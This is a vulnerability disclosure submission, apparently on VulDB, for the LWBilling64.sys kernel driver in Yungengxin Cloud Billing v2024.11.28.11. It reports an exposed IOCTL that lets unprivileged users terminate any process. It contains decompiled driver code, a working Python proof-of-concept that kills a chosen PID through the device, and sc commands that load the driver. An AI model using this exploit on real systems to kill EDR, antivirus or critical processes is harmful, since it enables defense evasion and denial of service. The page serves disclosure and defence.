Submit #976082: Yungengxin CLOUD BILLING 2024.11.28.11 Exposed IOCTL with Insufficient Access Controlinfo

TitleYungengxin CLOUD BILLING 2024.11.28.11 Exposed IOCTL with Insufficient Access Control
Description### 1. Title Yungengxin Cloud Billing (云计费) LWBilling64.sys Arbitrary Process Termination (including PPL) via Unauthenticated IOCTL 0x22A000u/0x22A004u ### 2. Affected Component * **Vendor (厂商):** Yungengxin / 成都领之锋网络技术有限公司 * **Product (产品):** CLOUD BILLING (云计费) - Client Disk Mounting Upgrade Tool (客户端挂盘升级工具) * **Version (版本号):** v2024.11.28.11 * **File/Driver (漏洞组件):** `client\drivers\LWBilling64.sys` * **SHA256 (漏洞驱动文件SHA256):** `6f19a838f703297c4fc1204de60f72dd2570388a2058d8c097029188c2ac9643` * **Vendor Website (官方网站):** `https://yungengxin.com/` * **Download** `https://yjf-file.yungengxin.com/download/%E5%AE%A2%E6%88%B7%E7%AB%AF%E6%8C%82%E7%9B%98%E5%8D%87%E7%BA%A7%E5%B7%A5%E5%85%B7_v2024.11.28.11.rar` ### 3. Vulnerability Type & CWE - **CWE**: CWE-782 (Exposed IOCTL with Insufficient Access Control) / CWE-284 (Improper Access Control) - **Class**: Local Privilege Escalation / Defense Evasion / Denial of Service - **Impact**: Low-privileged user can terminate arbitrary processes, including Protected Process Light (PPL) processes, from kernel context. ### 4. Vulnerability Description A security vulnerability has been identified in the Yungengxin Cloud Billing Client Disk Mounting Upgrade Tool v2024.11.28.11. The issue resides within the kernel driver `LWBilling64.sys`. The driver initializes a device object named `\\Device\\device_BE3D9E8A-5E53-4EC6-8EE2-E45ECD88D55B` using `IoCreateDevice` but fails to enforce proper Access Control Lists (DACLs). This oversight allows local low-privileged users to open a handle to the device. Furthermore, the driver exposes two input/output control (IOCTL) codes, `0x22A000u` and `0x22A004u`, which do not validate the caller's privileges. When a 8-byte buffer containing a Target Process ID (PID) is sent to these IOCTLs, the driver fetches the input PID directly from the `SystemBuffer` and invokes the internal function `sub_14000443C` (which wraps `PsLookupProcessByProcessId`, `ObOpenObjectByPointer`, and `ZwTerminateProcess`) to terminate the specified process from the kernel context. An attacker with low privileges can exploit this BYOVD (Bring Your Own Vulnerable Driver) vulnerability to terminate arbitrary critical system processes or security/EDR/Antivirus software, leading to a local privilege escalation, defense evasion, or severe system denial of service. The driver contains a self-protection/integrity check mechanism that triggers a system restart if the main client (JF-Client) environment is missing. IDA ```C NTSTATUS __fastcall sub_140001020(PDEVICE_OBJECT DeviceObject, IRP *Irp) { ... switch ( IoControlCode ) { case 0x22A000u: v11 = "IoControlDispatch-NORMAL_TERMINATE_PROCESS"; if ( InputBufferLength != 8 ) goto LABEL_29; Pid = (void *)*SystemBuffer; log_140001AE4( "IoControlDispatch-NORMAL_TERMINATE_PROCESS", "normal terminating process... pid:%d\r\n", *SystemBuffer); if ( !sub_140002318((__int64)Pid) && !sub_140003138((__int64)Pid) ) { v12 = sub_14000443C(Pid, 0); // KpiTerminateProcess v13 = "normal terminate completed, status:%08lx\r\n"; v14 = "IoControlDispatch-NORMAL_TERMINATE_PROCESS"; goto LABEL_26; } v16 = "IoControlDispatch-NORMAL_TERMINATE_PROCESS"; break; case 0x22A004u: if ( InputBufferLength != 8 ) { v11 = "IoControlDispatch-FORCE_TERMINATE_PROCESS"; goto LABEL_29; } Pid = (void *)*SystemBuffer; if ( !sub_140002318(*SystemBuffer) && !sub_140003138((__int64)Pid) ) { v5 = sub_14000443C(Pid, 0); log_140001AE4( "IoControlDispatch-FORCE_TERMINATE_PROCESS", "force terminate completed, pid:%d status:%08lx\r\n", (_DWORD)Pid, v5); goto LABEL_46; } v16 = "IoControlDispatch-FORCE_TERMINATE_PROCESS"; break; ... } // KpiTerminateProcess __int64 __fastcall sub_14000443C(void *Pid, NTSTATUS ExitStatus) { int v3; // edi NTSTATUS v5; // eax unsigned int v6; // ebx NTSTATUS v7; // eax PEPROCESS Process; // [rsp+50h] [rbp+8h] BYREF HANDLE ProcessHandle; // [rsp+60h] [rbp+18h] BYREF v3 = (int)Pid; _mm_lfence(); if ( (unsigned __int64)Pid > 4 ) { Process = nullptr; v5 = PsLookupProcessByProcessId(Pid, &Process); v6 = v5; if ( v5 >= 0 ) { if ( Process == IoGetCurrentProcess() ) { _mm_lfence(); v6 = 0; sub_140001C94("KpiTerminateProcess", "can't terminate self. pid:%d status:%08lx\r\n", v3, 0); } else { v7 = ObOpenObjectByPointer(Process, 0x200u, nullptr, 1u, (POBJECT_TYPE)PsProcessType, 0, &ProcessHandle); v6 = v7; if ( v7 >= 0 ) { v6 = ZwTerminateProcess(ProcessHandle, ExitStatus); ZwClose(ProcessHandle); } else { _mm_lfence(); log_140001AB4("KpiTerminateProcess", "ObOpenObjectByPointer failed! pid:%d status:%08lx\r\n", v3, v7); } } ObfDereferenceObject(Process); } else { _mm_lfence(); log_140001AB4("KpiTerminateProcess", "PsLookupProcessByProcessId failed! pid:%d status:%08lx\r\n", v3, v5); } return v6; } else { log_140001AB4("KpiTerminateProcess", "pid must by greater 4, pid is:%d\r\n", (_DWORD)Pid); return 3221225485LL; } } ``` ### 5. POC ```python import ctypes from ctypes import wintypes import sys # Define Windows API Constants GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 3 FILE_ATTRIBUTE_NORMAL = 0x80 # Vulnerable Driver Constants DEVICE_NAME = r"\\.\symbol_BE3D9E8A-5E53-4EC6-8EE2-E45ECD88D55B" IOCTL_NORMAL_TERMINATE = 0x22A000 IOCTL_FORCE_TERMINATE = 0x22A004 def trigger_exploit(target_pid): print(f"[*] Target Device: {DEVICE_NAME}") print(f"[*] Target PID to terminate: {target_pid}") # 1. Open a handle to the vulnerable driver device h_device = ctypes.windll.kernel32.CreateFileW( DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, None ) if h_device == -1 or h_device == 0xFFFFFFFF: print(f"[-] Failed to open handle to the device. Error code: {ctypes.windll.kernel32.GetLastError()}") return False print("[+] Successfully opened handle to the vulnerable driver.") # 2. Prepare the 8-byte input buffer containing the Target PID # The driver reads the PID as a 64-bit value or pointer (8 bytes) from SystemBuffer input_buffer = ctypes.c_ulonglong(target_pid) bytes_returned = wintypes.DWORD(0) print(f"[*] Sending IOCTL 0x{IOCTL_FORCE_TERMINATE:X} to kill PID {target_pid}...") # 3. Send the IOCTL request to trigger sub_14000443C (ZwTerminateProcess) success = ctypes.windll.kernel32.DeviceIoControl( h_device, IOCTL_FORCE_TERMINATE, # You can also try IOCTL_NORMAL_TERMINATE ctypes.byref(input_buffer), ctypes.sizeof(input_buffer), # Must be exactly 8 bytes None, 0, ctypes.byref(bytes_returned), None ) # 4. Clean up ctypes.windll.kernel32.CloseHandle(h_device) if success: print("[+] DeviceIoControl executed successfully! Check if the target process was terminated.") return True else: print(f"[-] DeviceIoControl failed. Error code: {ctypes.windll.kernel32.GetLastError()}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python poc.py <Target_PID>") print("Example: python poc.py 1234") sys.exit(1) pid = int(sys.argv[1]) trigger_exploit(pid) ``` ### Reproduction & Usage Steps: 1. Open a Command Prompt (CMD) with Administrator privileges to install and start the driver: ```cmd sc create LWBilling64 type= kernel start= demand binPath= "C:\Users\TestComputer\Desktop\LWBilling64.sys" displayname= "LWBilling64 Driver" sc start LWBilling64 ``` 2. Open a standard Command Prompt (Low Privilege/Normal User) and execute the Python PoC script by passing the target PID you want to terminate: ```cmd python poc.py <target_pid> # Example: python poc.py 1234 ```
User Element2023H (UID 99757)
Submission09/13/2026 10:19 (28 days ago)
Moderation10/11/2026 15:55 (28 days later)
StatusAccepted
VulDB entry416681 [Yungengxin Cloud Billing 2024.11.28.11 IOCTL Process Termination LWBilling64.sys sub_14000443C Pid exposed ioctl with insufficient access control]
Points17

Want to stay up to date on a daily basis?

Enable the mail alert feature now!